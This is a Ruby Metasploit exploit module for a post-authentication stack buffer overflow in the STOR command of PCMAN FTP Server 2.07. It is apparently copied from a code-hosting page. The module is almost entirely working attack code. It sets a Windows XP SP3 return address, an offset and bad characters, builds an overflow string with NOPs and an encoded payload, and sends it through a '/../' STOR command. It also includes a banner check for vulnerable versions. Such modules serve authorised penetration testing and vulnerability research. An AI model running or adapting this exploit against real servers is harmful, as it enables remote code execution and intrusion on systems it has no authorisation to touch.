96 lines
2.8 KiB
Ruby
96 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow vulnerability found in the STOR command of the
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PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
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note authentication is required in order to trigger the vulnerability. The overflowing
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string will also be seen on the FTP server log console.
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},
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'Author' =>
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[
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'Christian (Polunchis) Ramirez', # Initial Discovery
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'Rick (nanotechz9l) Flores' # Metasploit Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '94624'],
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[ 'EDB', '27703']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'VERBOSE' => true
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English',
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{
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'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
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'Offset' => 2011
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}
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],
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],
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'DisclosureDate' => 'Jun 27 2013',
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'DefaultTarget' => 0))
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end
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def check
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c = connect_login
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disconnect
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if c and banner =~ /220 PCMan's FTP Server 2\.0/
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# Auth is required to exploit
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vprint_status("Able to authenticate, and banner shows the vulnerable version")
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return Exploit::CheckCode::Appears
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elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
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vprint_status("Unable to authenticate, but banner shows the vulnerable version")
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# Auth failed, but based on version maybe the target is vulnerable
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect_login
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# Auth failed. The mixin should show the error, so we just bail.
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return unless c
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# Username is part of the overflowing string, so we need to account for that length
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user_length = datastore['FTPUSER'].to_s.length
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print_status("Trying victim #{target.name}...")
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sploit = rand_text_alpha(target['Offset'] - user_length)
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sploit << [target.ret].pack('V')
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sploit << make_nops(4)
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sploit << payload.encoded
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sploit << rand_text_alpha(sploit.length)
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send_cmd( ["STOR", "/../" + sploit], false )
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disconnect
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end
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end
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